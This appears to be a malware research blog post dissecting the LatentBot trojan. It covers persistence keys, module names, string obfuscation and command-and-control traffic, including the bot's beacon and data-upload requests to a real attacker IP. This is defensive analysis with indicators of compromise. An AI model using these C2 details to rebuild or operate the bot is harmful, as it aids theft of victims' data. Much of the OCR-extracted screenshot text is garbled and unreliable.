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LatentBot is a multi-modular Trojan written in Delphi and known to have been around since
2013. Recently, we captured and dissected a sample distributed by RIG Exploit Kit.

The main executable is a persistent botnet agent which downloads additional modules and
reports about the performed activities to its Command and Control server. Depending on the
modules that have been installed, LatentBot has various capabilities, including:

Act as a keylogger and form grabber

Steal cookies

Run a Socks Proxy from the victim system

Give remote access to the attacker (VNC / Remote Desktop)

In this post we will describe those modules by taking apart several layers of obfuscation and
encryption in order to reveal their true nature.

Analyzed samples


https://blog.malwarebytes.com/author/malwarebyteslabs/
https://blog.malwarebytes.com/author/malwarebyteslabs/

e 011077a7960fa1a7906323dbdc7e3807 — original sample, distributed in the campaign
o 85dcf88487ea412fe4960494713eed6bb — unpacked (loader)
m 60c3232b90c773ed9c4990da7cc3bbdb — injected into svchost
m e105d87cb79ed668c8b62297259a4dbb — injected into iexplore

Downloaded modules, injected into svchost:

e e3fb224201592c02b6250532e99416f0 — main module
fcf8479361a24618c3ed4aa552dccfc33 — module #1
2268f50ac4bbd7002f6601568448e1d3 — module #2
f461c9a2e1010aae1ad6ade8cf9396e5 — module #3
5cb8d981574da528b5f65aa9b2163eb3 — module #4
5803cab0bec92f21d3c3d22f7920ecal — module #5
5fd5b8ae1ae41a620a32f4ce96638ab9 — module #6

O O O O O O

Behavioral analysis

After being deployed. the original sample installs itself and deletes the sample from the original
location. It injects into svchost the initial module (60c3232b90c¢773ed9c4990da7cc3bbdb). That
module performs another injection (of module: b622a0b443f36d99d5595acd0f95eale) — into
Internet Explorer (iexplore.exe):

= ﬂs:mnst.eme 2180 K 3148 K 3172 Host Process for Windows 5... Microsoft Corporation
@i@:ﬂcﬂaﬁc& 3528 K 6920K 3124 Intemet Explorer Microsoft Corporation

The module injected in the iexplore.exe process is responsible for establishing connection with
the CnC and downloading submodules.

At this stage, LatentBot creates two groups of registry keys:
...\Software\Google\Update\network\secure

Q Registry Editor
File Edit View Favorites Help

>~ 1) Clients * || Name Type Data

b-dd Ghisler ab|(Default) REG.SZ  (value not set)

448 Google — || o REG_BIN.. &d 5290000300 0000 04 00 00 00 f £ 00 00 b8 00 00 0 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 G0 00 00 00 00 ...

o -"__Upd::wmk = 81 REG_BIN.. 4098 e6 50 6d d0 67 7F 56 11 38 bf 4e e ¢ 05 8¢ 27 7b 51 c0 87 20 98 bd 14 9¢ 2d 26 €0 22 d5 3d 81 cc 2 be 30 2 3...
e 42 REG_BIN.. 800c16 20 1c66 92 a0 d8 1c0f 59 52411970 d9 7 24 72 80 e4 b3 99 ff dB 32 70 f4 39 fc cb 26 9 Be 4d 6 1d 11 Bd..

. ot 3 REG_BIN.. b7 cd cd ddl 4 d3 32 3¢ 4548 e 11 6f 5¢ cd f9 86 82 59209 62 e8 cb 2 4F fa 22 bd 44 62 fa d0 cb 85 6a cb b0 3 93 8.

Computer\HKEY_USERS\5-1-5-21-1929933236-2258453022-3626796957-1000" Software\ Google\ Update\network\secure

In the key named “0” the initial PE file is stored:


https://www.virustotal.com/en/file/c3d00a4c9d3bb34c2f01e777a202613deea44fe2b60fa4ccfc59d6c549107b3b/analysis/
https://www.hybrid-analysis.com/sample/8fda2fe19794835029bf9c67b560498accd30d84abf7423e665295a8603c470a?environmentId=100
https://www.hybrid-analysis.com/sample/e8664c10d439790722673ccbfa9f589d3d4fc67a3288e88ef2f82461dbb60830?environmentId=100
https://www.virustotal.com/en/file/b1c58bd464859dd1bc35f6402b18f58de9339e02625f48f3f9b81e8150a9e12f/analysis/
https://virustotal.com/en/file/d649e068e740a171768684dd46c20dd86ef53449bb385442b370619ee01a3f10/analysis/1495644392/
https://virustotal.com/en/file/0ff1fa8023030b20eaf10641516bc977d8fafa3e2258c1f46cacd8fd7ec33a0e/analysis/1495644410/
https://virustotal.com/en/file/c843d846c8e391cf078908d67ea10dd4aa9ebb6abc1e4592bcff8cb12a720a6b/analysis/1495644426/
https://virustotal.com/en/file/1b5aea4b0e840ca4e0f78587335fcafc3dbf79a9286ce5face195723913206ba/analysis/1495644435/
https://virustotal.com/en/file/4ede95a34ab8533af5265712122999cf5a6d18cc309175173951268a92715d06/analysis/1495644447/
https://virustotal.com/en/file/97618ff7dd2bccd669d6f50d79980ea28c236d7f127a472718b502fea459158e/analysis/1495644455/
https://virustotal.com/en/file/0e93ad8a6a761bf818835e15c559028a06d37a520471ff890368a1a618c77674/analysis/1495644463/
https://www.virustotal.com/en/file/e8664c10d439790722673ccbfa9f589d3d4fc67a3288e88ef2f82461dbb60830/analysis/1496222587/
https://www.virustotal.com/en/file/0521c9246ad9faae379717b17045fc66d1812eaccc39eaa3524347f8e8027b59/analysis/1496224646/
https://www.virustotal.com/en/file/0521c9246ad9faae379717b17045fc66d1812eaccc39eaa3524347f8e8027b59/analysis/1496224646/

Edit Binary Value

Walue name:
0

Walue data:

0000 4D S5A S0 00 03 00 00 00 MEE et -
0008 04 00 00 00 FF FFE 00 0O TS, A A [ |
0010 B8 00 00 00 OO0 OO0 OO0 OO0
00is 40 00 00 00 OO0 OO0 OO0 OO0 B oo mins
0020 00 00 00 00 00 00 DD 00 . .cowe e eoes
0028 00 00 00 00 00 00 DD 00 . .cowe e eoe.
0030 00 00 00 00 00 00 D 00 . .cowe e eoes

0038 00 00 00 00 C8 00 00 00 N, S
0040 OE 1F BA OE 00 B4 08 CD P
0048 21 B& 01 4C CD 21 54 i LI P4 g

0050 69 73 20 70 T2 &F &7 T2 is progr |7

Another, encrypted key is added under:

...\Software\Adobe\Adobe Acrobat

@ Registry Editor
File Edit View Favorites Help

- L Printers * || Name Type Data
- 50&:;'2 [7]|| 20)(Default) REG.SZ  (value not set)
b i 57 in | REGSZ  DSU+lcdcdwoCIWYAXMPaGTCnkQOTHASGETO1GG+jipQTuABL Py2SOKT3G2ED4iytH1 oaBelmZB gGkiC
e o Adobe Acrobat -
4 [ 1 | b

Computer\HKEY_USERS\5-1-5-21-1920933236-22584 53022-3626796957-1000\Software\Adobe\Adobe Acrobat

The data under the key “in” is encrypted by a custom algorithm, typical for the LatentBot, that
will be described further (it can be decoded by a dedicated application). After decoding, it gives
the path where the malware installed itself, i.e.:

C:\Users\tester\AppData\Local\Microsoft\Windows\shfdnoh.exe

If the CnC is active and the bot managed to download sub-modules, they are run injected into
new instances of svchost:


https://github.com/hasherezade/malware_analysis/blob/master/latent_bot/latent_decode.cpp
https://github.com/hasherezade/malware_analysis/blob/master/latent_bot/latent_decode.cpp

= E.wdmﬂ.m 12.78 3788 K 2384 K 1096 Host Process for Windows S_.. Microsoft Comporation

(57 svchost exe 012 920K 2384 K 2732 Host Process for Windows S5... Microsoft Corporation
(57 svchost exe 0.57 76 K 2456 K 2728 Host Process for Windows 5... Microsoft Corporation
(=7 svchost exe <0.01 1523K 2512K 2708 Host Process for Windows 5... Microsoft Corporation
(57 svchost exe 0.m 4352 K F160 K 3176 Host Process for Windows 5... Microsoft Corporation
(57 svchost exe £0.01 2148K 3202 K 3200 Host Process for Windows 5... Microsoft Corporation

The main module is deployed with a parameter: -| MxN4ViazcD

This parameter specifies a group id where the bot belongs (also encrypted by Latent Bot’s
custom crypto).

MxN4ViazcD -> Group 1

= svchost.exe:1096 Properties E\@

Image | Performance | Performance Graph | Threads I TCR/IP | Security | Environment | Job l 5trir|gs|

Image File
\._|| Host Process for Windows Services
Microzoft Corporation
Version: 6.1.7600.16385
Build Time:  Tue Jul 14 01:19:23 2009
Path:

C\Windows'\System32\svchost.exe

Command line:
"CrWindows\system32\avchost. exe”™ 4 MxN4vViazcD

e B T

Also, the registry keys related to the new modules are added under:

...\Software\Google\Update\network\secure

@) Registry Editor
File Edit View Favortes Help

b , Classes || Name Type Data
-l Clients 5] (Default) REG_SZ {value not set)
s g::';l'e .‘._'_.'_.;]0 REG_BINARY 4d 5290 00 03 00 00 00 04 00 00 00 f £F 00 00 b8 00 ...
LB s FM REG_BINARY 40 98 ¢6 50 6d d0 67 756 11 38 bf 4 e 1 05 8e 27...
7 )2 REG_BINARY 8001620 1c669a a0 d8 1c0f5952411970 d9 ..

i if-,'é]B REG_BINARY b7 8 cd dd c4 d3 32324548 9e 11 6f 5c cd fO 86 &...

SEC.UFE
) FEUFJu5xP3C
| hdtWD3zyxMpSQB
J I551X+rNDh3B4A 2 =
(QdGBe00gHIE/Y1G
; QdW/Dol2F3)
. RRrAibQs+WzRVWSB+9ilys+17huxD
i 0 VRWVBMBUtHEF+7UcwkBKPB
. WaTgrmO i

4 - | network ‘
|

Computer\HKEY_CURRENT_USER\Software\GooglelUpdate\network\secure

Decrypted names of the modules are very descriptive:



FtUFJu5xP3C -> formgrab
hdtwD3zyxMpSQB -> Bot_Engine
I1551X+rNDh3B4A -> Found_Core
QdG8e00gHI8/Y1G -> send_report
QdW/Dol2F9J -> security

RRrlibQs+WzRVv5B+9ilys+17huxID -> remote_desktop_service
VRWVBM6UtH6F+7UcwkBKPB -> vnc_hide_desktop
w97grmO -> Socks

Some of the modules are collecting data on the victim machine, and saving them in the

%TEMP% directory in encrypted form:

AppData » Local » Temp - | +4 | Searc
Share with = Mew folder
Mame Date moedified Type Size
||| 8043817212 trnp 2017-05-2317:44 TMP File 0KB|
|| FXSAPIDebugLogFiletxt 2015-06-18 22:27 Text Document 0 KB
|| Q1oPkDyltmp 2017-05-30 19%:08 TP File 3 KB
| | #05rdvjtglgWntmp 2017-05-30 15:43 TP File 1KB|
Further, they are being uploaded to the CnC.
Persistence
The basic persistence of Latent Bot is simple. The initial sample is copied into:
C\[current user\AppData\Local\Microsoft\Windows\<random_name>.exe
Local Disk () » Users » tester » AppData » Local » Microsoft » Windows » - | +4 | | Sean
Share with = Mew folder
Mame Date modified Type Size
Temporary Internet Files 2017-05-23 17:46 File folder
Themes 2015-07-20 14:211 File folder
| WER 2017-06-06 18:31 File folder
=1 shfdnoh.exe 2010-11-20 22:29 Application 188 KB

It is executed on each system startup thanks to a simple Run key:



ﬁ HKCUNSOFTWARE \Microsoft \Windows \CumentVersion\Run

[ [=] 0d3qdwbX

chusers'tester'\appdatalocal\microsoft windows \shfdnoh exe

Once the main module is run, it is responsible for decrypting all the submodules from the

registry and loading them.

Network communication

The bot starts communication with CnC by sending a beacon. If the beaconing went
successfully, it starts to download additional modules in encrypted form. They are pretending to

be .zip files:

Endpoint

104.232.32.101:80

104.232.32.101:80

104.232.32.101:80

Request

GET

GET

GET

URL

/QWRsN2srdjlkUud
DYVpOaTBMUz|2c5t
ZYOpOR3VEKWINtc3

QiVzduiWl25HZ6Q))
hMEtuTFo3RUMNobVI

OKz)MbDEOTWxBU

XR2ZN¥XdxelBtSkiaeD

MaNVRlaVdzdFVhZ G
5.

/5nn497/749579172
65452zip

Data

GET / HTTP/1.1 Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trid
ent/5.0) Host: 104 232 32.101 Cache-Control: no-cache #* 200 OK

| ® Mare Deta?{l

GET /QWRsN2srdjlxUUdDYVpOaTBMUz|2c5tzY OpOR3VKWINLc3O1
WzduWl]2SHZ 6Qj|hNEtuTFo3RUNobVYIOKz] MbDEOTWxBUXR2ZNXdx
elBtSklaeDNaNVRlaVdzdFVhZ G5 1KOjweEp3MkFXWTIVE3 | YWpKa3Vz
TnlSbUE= HTTP/1.1 Accept: text/”, QWRsN2srdjlxUUdDYVpOaTBMUz
[2cStzYOpOR3VEWINtc3Q1VzduWl| 2SHZ 6QjlhNEtuTFo 3RUNobVIO
Kz)MbDEOTWxBUXRZMXdxelBtSklaeDNaNVRIaVdzdFVhZG51KOjwe
Ep3MkPXVTIVC3 YW pKa3VzTnIShUE=, 104.232.32.101, % 200 OK
@ More Details

GET /5nn497/74957917265452 zip HTTP/1.1 Content-Type: applicati
on/x-www-form-urlencoded User-Agent: Mozilla/5.0 (compatible; M
SIE 9.0; Windows NT 6.1; Trident/5.0) Host: 104.232.32.101 Cache-C

e

The beacon is encoded by two algorithms: Latent’s custom encryption and then Base64:

QWRsN2srdjlxUUdDYVp0aTBMUzI2cStzYOpOR3VKkWINtc3Q1VzduWIJ2SHZ6QjJhNEtuTFo3R
UNobVIOKzJMbDEOTWxBUXR2NXdxelBtSk1aeDNaNVRIaVdzdFVhZG5IKOJwWCEp3NKFXVTIV

c3JJYWpKa3VzTnISbUE=

Base64 decoded:

AdI7k+v9gQGCaZtiOLS9vg+scJNGudZSmst5W7nZRvHvzB2a4KnLZ7EChmYN+2LI14MIAQtv5
wqzPmJMZx3Z5TeiWstUadnH+BppJw6AWU9QUsrlajlkusNyRmA

Latent custom decoded:



forum?datael=US-70-789548274695&ver=5015&o0s=5&acs=18&x64=0&gr=Group
1&random=mxmgkuusrfqdotm

As we can see, it contains data about the infected machine, as well as the group name and a
random token.

However, not all the communication is encrypted. Some of the further requests are very
verbose. Name of each action is identified by a string, in capital letters. Examples:

104.232.32.101 15 bytes ?ACTION=HELLO

104.232.32.101 29 bytes ?ACTION=HELLO

104.232.32.101 14 bytes ?ACTION=HELLO

104.232.32.101 28 bytes 7ACTION=HELLO

104.232.32.101 12 bytes ?ACTION=START&ID=3914B1E554804AD6AFA8467713C6119D
104.232.32.101 26 bytes ?ACTION=START&ID=3914B1E554804AD6AFA8467713C6119D
104.232.32.101 588 bytes 7ID=3914B1E554804AD6AFA8467713C6119D

104.232.32.101 12 bytes ?ID=3914B1E554804AD6AFA8467713C6119D

104.232.32.101 30 bytes ?7ID=3914B1E554804AD6AFA8467713C6119D

104.232.32.101 48 bytes ?ID=3914B1E554804AD6AFA8467713C6119D

104.232.32.101 27 bytes ?ID=3914B1E554804AD6AFA8467713C6119D

104.232.32.101 45 bytes 7ID=3914B1E554804AD6AFA8467713C6119D

104.232.32.101 11 bytes ?ACTION=HELLO

104.232.32.101 817 bytes UPLOAD?file=CLIENT_UPLOAD%5CPL-70-873307255376%5Cn3ub 76byow4607f.tmp.kl&type=4
104.232.32.101 1 bytes UPLOAD?file=CLIENT_UPLOAD%5CPL-70-873307255376%5Cn3u676byow4607f.tmp.kl&type=4
104.232.32.101 11 bytes ?ACTION=HELLO

104.232.32.101 25 bytes ?ACTION=HELLO

104.232.32.101 15 bytes 7ACTION=HELLO

104.232.32.101 29 bytes ?ACTION=HELLO

104.232.32.101 14 bytes ?ACTION=START&ID=6AEFC20EE3424974ABEEBBCF7DACBB47
104.232.32.101 28 bytes ?ACTION=START&ID=6AEFC20EE3424974ABEEBBCF7DAOBB47
104.232.32.101 593 bytes ?ID=6AEFC20EE3424974ABEEBBCF/DAOBB47T

104.232.32.101 12 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBB47

104.232.32.101 28 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBB47

104.232.32.101 46 bytes 7ID=6AEFC20EE3424974ABEEBBCF/DAOBB47

104.232.32.101 29 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBB47

104.232.32.101 47 bytes 7ID=6AEFC20EE3424974ABEEBBCF7DAOBB47

Client beacons to the server by a HELLO command. In return, the CnC gives it a cookie that is
further used as an ID. The content posted between the client and the server is encrypted:



POST /web/?ACTION=HELLO HTTRP/1.1
HOST: 1@4.232,32.101
CONTENT - LENGTH: 15

pl. . I&I%<.c..CHTTP/1.1 200 OK
CONTENT - LENGTH: 289
SET-COOKIE: ID=AS53F4C134D7B453ESF80AG2FAQCZ24679

Wi e 7L W%RPR _d..oPOST /weh/?
ACTION=START&ID=AS3F4C134D7B453E9FS0AGZFARC24679 HTTR/1.1
HOST: 104,232,32.101

CONTENT- LENGTH: 12

L JvET+, . GLHTTR/1.1 200 OK
CONMTENT - LENGTH: 286

B
o i e ! ey E POST /web/?ID=A53F4C134D7B453E9F8RAE2FARC24679 HTTR/1.1
HOST: 104,232.32.101

CONTEMT - LENGTH: 288

..... B 6..........e.._.G.......w..hv, A ... ..T

5 iy = Bl #.o.. .. L ] Cdw A8 J ' Fox, ;. 1@ 5
... I D.z&....~.08..11, ..., ke T e S 7
Bl il st e e NS e o Bl TR o i Em.

...... vl da e G NG QLR e U R s NS B Y B el E o el 2!
S S o U= e ol oo o B oo ot o b L R e e e B R G

b ks Bt e s e L T e R T S e B B B cpimaty A
il B e e el et e R ol o e e e e
{~,.08.0...d.../..,.. 1.T....4... .. 2, " _HTTP/1.1 200 OK

COMTEMNT-LENGTH: 13

A2 s *F.POST /webh/7?ID=AS3F4C134D7B453EOFEOAGZFADC24679 HTTP/1.1

HOST: 1@4.232,32.101
CONMTENT - LENGTH: 28

S e s R e SO DR
CONTENT-LENGTH: 46

VT S N SN T R L O POST /web/?
Analyzing the traffic, we can find that the bot sends to the CnC some stolen data, packed as

Cabinet format. The content inside is encrypted by a custom encryption algorithm, typical to
LatentBot, that will be described later. The file is uploaded using HTTP PUT method:



https://stackoverflow.com/questions/630453/put-vs-post-in-rest
https://stackoverflow.com/questions/630453/put-vs-post-in-rest

PUT JUPLOAD?Tile=CLIENT_UFLOAD
%SCPL-70-873307255376%5CN3U676hyvowdB07 T, tmp . k1&type=4 HTTP/1.1
Host: 1@4.232.32.101

Content-Length: 817

Cache-Control:. no-cache

e b e R G e o C e e A DB o OB Ju. .CiZUsershtester
\AppData\Local\Temp\nSuG?Gbyow46@?f b MR i et [t G G e
Somill B e v e IS Il s R e e e e Wepinan
L@i|....U1..}..Ig..:..T...w.ﬂ.=..0.t..5 ..... %v.den. . [pnv.W.?....{. ..
H D ot U s fo..=5n.QZ.... ... . s1XL..aa [t o Wt Q. .y, .-
[, Z>57. .1
...... Og..LwuwGa 5.U.. A . .H.3 | e e e  FE
A (o S {= BE i ]..;... o N e e it
yRE g = e R [0 Bnicans e T e ]
..... w( [ 2Aw....!>Bc o i, K a0 B s ans OE# hgn B
R s et s R e R.{.u.;...w@...} ..... b R.
3..1..a 5 T 05 - O T T
NoW. P U b S R oL B = LR = - R
B B X HTTPS1.1 2080 n3u5?6by0w469?f tmp . k1
COMTENT - LEMGTH: 1
1
Inside

The original sample of Latent Bot, that is distributes in campaigns, comes packed with a crypter.
After removing this first layer, we get a loader with the following structure of sections:

Mame Raw Addr. Raw size Virtual Addr.  Virtual Size  Characteristics  Ptrto Reloc.  MNum. of Reloc.  MNum. of Linenum.
4 text 400 2600 1000 2530 60000020 0 0 0
> 2400 A 3530 21 =X
4 text3? 2400 5C00 4000 5BBF 60000020 i 0 0
> 8600 A 9B&F i =X
4 textbd 8600 26800 ADDO 26695 60000020 0 0 0
> 2EE00 fir 30695 1) =X
Raw & X | Virtual g X
[text32]
AD0D
[textad]

All the used strings are obfuscated — particular chunks of the string are being moved to
consecutive variables:




BE4E16%F ||« 8745 BC MOV CHRG. 21, EFx
bEd4aieRz ||« 2950 1@ MOy CARG. 31, EEX
BE4E16R5 || . CF45 DOC 720BEs20El MOU BEAERESST , H: 628873
HE4E16AC || . CFP45 ER &EQBSCHE MOU BEAEHESET , Hx6CHEGE
HE4E16BS || . CF4E E4 &CoE330El HOU FEASHESET , B 236860
oE4aicBA || «  CP4E ES 2ZoeZEDE MOU FEAEHECEST , B2 ZERESE
BE4E16C1 . LCr45 EC e4@psCEal MOY CLOCAL.S], 8- aCB664
Ba4E1eCes || . CP4E FA eCBamcEasa MOL CEAEAL.E], BuaC
Ha4E16CF | . 8950 F4 MOy CLOCAL. 21, EEX
HE4E1602 || . CF45 AQ 7ADEF20E HOU DEQERESSE] , Eu 7288 7E
Ba4E1609 || . CF45 A4 &FDB&Z0El MOU EEAERETEST , 6: 6 38a5F
oE4@lcEQ ||« Cr4E AZ &SoE7I0E MOU PEAEHESSS] , iy rI8ass
BE4a16EY || . CFPd4E AC FooEzaoE Moy BEAERESET] , H:x 208673
HE4EA16EE || . CF45 BO &20@E&10E MOU FEAEHESSE] , H9 s 18853
HE4E16FE | . 8945 B4 MOL [LOCAL. 197, EAX
Ba4E16FS || . CP4E BS 2oE0cZaE) MOV EEOEAESTET, 6:canze
BA4E16FF (|« C7P45 BC Fapescac) MOV CEQCALGLE], 95 cSoa72
BE4E1vEs (| « CF4E5 CB &loEav4o0E MO BEAERESTET , H: r4Ea0 1
BE4a1vED || . CPd4E C4 &5o@zanEl MoU BEAERESTS] , Hx 2HEAss
HEa4a1v14 || . 8950 CE2 Mol CLOCAL. 141, EEX
HE4E1717 || . CF4E5 CC 7F2oE75oEl MO BEAEHESES] , 51 rSE8Er2
HE4Ea171E || . CF4E DO &EDB&10El HOU FEAERESER] , 615 1 8A5E
EA4E1725 || . CP4E D4 7Fzeocoas MOV CEOCAE.113,8:732
BE4a1F2c (|« 2950 08 MOW [LOCAL. 181, EEX
HE4E1F2F || . CFE5 &CFFFFFF SC| HMOU [BERERETSE] , Hy 7 3EEA50
BE4E1739 || . CFE5 FEFFFFFFE 79 MOU BEAERECSET , B 738879
HE4E1743 || . CFEE P4FFFFFF 74| HOU BEAERESSS] , Hu SEET4
BE4Ea1740 || . CFE5 FEFFFFFF &0| MOU CEOCALSSE] , Bx 338850
BE4E17EY || «  CFE85 FCFEFFFF 32| MOU BEAEHETSS] , HxSCEA32
HE4E1FE] . Crd5 88 Yraeczeal Moy FENEHESSET , O: 620077
ER4E17eS || . CP4E 24 eS@@eDaa MO CEOCAE.S1], 6: c08REE
EE4E17EF || . CP4E 22 ECEE7FEE MOU EEOEALE-3A], & P 7EECC
BE4E177E | . CF4E 2C &DoBs20El HOU BEAERESSS] , 81 598850
bE4alvFo (| « CF4E 20 S20B2E0E| MOU DEAERECSE] , Hu2EBAS3S
BE4E17E4 ||« CP4E 24 &50E7E0E MO BEAEHETEE] , H: 7 SEacs
HE4E1vaE (|« Crd4E 28 &50a@anE oL BEAERESSET , Hx o5
HE4E1732 || . 8950 3C Mol CLIOCAL . 257, EEX
. EZ 402880068 CALL m.B04897ET
BE4E179A || . 8945 28 HMaL CARG. 91, ERX
28481730 || . &5 S2L1E0E7 FUSH BuyBEES19:2
4 [l
BE4E97ETY =M. BR4B97ET
r.{Modu leEntcuPoint 3+180
Address |[Hex dump ASCII
HE1ZFEEC| BB OB BE B0 B8 OB B0 B0 B8 OB B0 B0 B8 OB B0 BB ... ... eeeennnns
HE1ZFEFC|EBC BE 73 8@ 73 BE 73 8@ 74 B8 &5 B0 &0 BA 233 B0 ~.s.v.s.t.e.m. 3.
HE1ZFESC| 22 B EC BAE 77 bE &2 BH 65 BE &0 B EC BE 77 BE 2.~ w.b.e.m.~uw.
HA1ZFEZC| 60 BA &9 BE 63 BA ZE BH 65 BE 78 B0 65 B8 BB B M. i.c...e.H B0,
HE1ZFEAC| B8 OB Q0 88 78 OB 72 80 6F OB &2 80 65 0B v3 80 ....p.C.0.C S5,
HE1ZFEEC| P73 OB 20 BE 63 OB &1 B0 &6C OB &C BE 28 OB &3 B0 s, .c.a.l.l. .c.
HE1ZFECC| 72 OB 65 B@ 61 BE 74 B0 65 OB 20 B0 B OB B0 B0 r.e.a.b 8. caun.
HE1ZFEDC| 72 6@ 75 B8 6E BE &1 BB 73 OB B0 B0 B B8 B0 B0 r.U.N.8.S.eean-
HE1ZFEEC| 73 0B &8 BA 65 OB &C BE &6C BB 33 BA 32 OB ZE B0 s.h.e.l.1.53.2...
HE1ZFEFC| 64 BA &C BE 6C HE BE BH BA 08 B0 BE 61 B8 &4 B dulolew.u... a.d.
HE1ZFFEC) F6 BB &1 BA 78 BB &9 BE 33 OB 32 80 2E 0B &4 80| v.a.p.i.3.2...d.
HE1ZFFIC| 6C BB &C B BE OB B0 B0 B OB B0 B0 B OB B8 B8 l.l. ..o eeeeaun.
AR DEC 2L @A AR AR AR AE AR [AE AR AR AR AR AR AR AR RA A

The basic role of the main element is to to make injection into svchost.exe. In the memory of
svchost.exe, another PE file is unpacked and loaded:



Addi Siz Cwn ex | Section |Contains Tupe| Access | Initial]| Mapped as
----- F e i e

Durmnp - 00180000..001 ASFFF
7] )

A

D [T = = T T

If we dump this file, we find another stage. Starting from this element, all further pieces of Latent
Bot have some common patterns. They are written in Delphi, and their strings are obfuscated by
the same set of functions. Example:

8841 C3EE call sub_41537C

BA41C3F3 lea edx, [ebp+var_ 14]

BAL1C3IF6 mouw eax, offset althéPayftcoq B ; “Ith4+PayFtCo7LUSLCH™
BA41C3FB call decrypt_string

AA41CHAA mou edx, [ebp+uvar_14]

8831CHA3 mou cl, 1

8041C485 movw eax, [ebp+var_u]

A841C408 call sub_41537C

A841C48D lea edx, [ebp+var_18]

a8y1c418 movw eax, offset adnjcC?qk3n3a 1 ; "OH{C+CoqK/3n3AS+HP2PDUK™
8041CH15 call decrypt string

In order to defeat this obfuscation | prepared a dedicated IDA script (latent_dec.py). Not much
of the other obfuscation techniques has been used, so after applying it, the code looks much
more understandable:

Another thing, typical for LatentBot’s pieces are the resources following similar schema. The
current sample comes with 2 resources: CFG and R. Both of them are encrypted:


https://github.com/hasherezade/malware_analysis/blob/master/latent_bot/latent_dec.py



https://www.virustotal.com/en/file/0521c9246ad9faae379717b17045fc66d1812eaccc39eaa3524347f8e8027b59/analysis/1496224646/

